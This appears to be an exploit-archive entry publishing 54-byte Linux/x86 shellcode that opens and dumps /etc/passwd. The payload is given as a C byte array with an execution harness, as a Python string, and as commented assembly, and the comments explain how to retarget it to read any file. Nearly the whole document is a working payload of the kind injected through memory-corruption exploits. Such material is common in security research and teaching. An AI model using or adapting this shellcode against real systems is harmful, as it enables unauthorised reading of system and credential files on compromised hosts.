Linux/x86 - Read /etc/passwd Shellcode (54 bytes)

;================================================================================
; The MIT License
;
; Copyright (c) <year> <copyright holders>
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
; 
; The above copyright notice and this permission notice shall be included in
; all copies or substantial portions of the Software.
; 
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
; THE SOFTWARE.
;================================================================================
;     Name : Linux/x86 - Anyfile Reader Shellcode (54 Bytes)
;     Author : WangYihang
;     Email : wangyihanger@gmail.com
;     Tested on: Linux_x86
;     Shellcode Length: 54
;================================================================================
; Shellcode : 
; You can complie it to verify by using : gcc -z execstack -o exploit exploit.c
char shellcode[] = "\x31\xc9\x51\x68\x73\x73\x77\x64"
                             "\x68\x2f\x2f\x70\x61\x68\x2f\x65"
                             "\x74\x63\x89\xe3\x31\xc0\x99\xb0"
                             "\x05\xcd\x80\x89\xc7\xb2\xff\x89"
                             "\xe1\x89\xfb\xb0\x03\xcd\x80\xb3"
                             "\x01\xb0\x04\xcd\x80\xfe\xca\x80"
                             "\xfa\x01\x74\x02\xeb\xe9"
int main(){
    void(*exploit)();
    exploit = &shellcode;
    exploit();
}
;================================================================================
; Python : 
;        shellcode = "\x31\xc9\x51\x68\x73\x73\x77\x64"
;        shellcode += "\x68\x2f\x2f\x70\x61\x68\x2f\x65"
;        shellcode += "\x74\x63\x89\xe3\x31\xc0\x99\xb0"
;        shellcode += "\x05\xcd\x80\x89\xc7\xb2\xff\x89"
;        shellcode += "\xe1\x89\xfb\xb0\x03\xcd\x80\xb3"
;        shellcode += "\x01\xb0\x04\xcd\x80\xfe\xca\x80"
;        shellcode += "\xfa\x01\x74\x02\xeb\xe9"
;================================================================================
; Assembly language code : 
global _start
_start:
; int open(const char *pathname, int flags);
xor ecx, ecx ; #DEFINE O_RDONLY 0
; push \x00 to the stack to end the filename (string)
push ecx
; push filename to the stack (You can also change the filename to anyfile you want to read)
; But your input must in reverse order by 4 bytes.
; You can use '/' to file the 0 bytes , because execve() will ignore the muti '/' in your filepath
push "sswd"
push "//pa"
push "/etc"
mov ebx, esp
xor eax, eax
cdq
mov al, 05H
int 80H
mov edi, eax ; save the fd
mov dl, 1+0FEH
reading:
; ssize_t read(int fd, void *buf, size_t count);
;mov dl, 0FFH ; read 0xFF Bytes to the stack
mov ecx, esp
mov ebx, edi ; get the fd
mov al, 03H
int 80H
; ssize_t write(int fd, const void *buf, size_t count);
mov bl,1
mov al, 04H
int 80H
; continue reading ? 
dec dl
cmp dl, 1H
jz exit ; jmp out
; continue reading!
jmp reading
exit:
; void _exit(int status);
; mov eax, 1
; int 80H
;================================================================================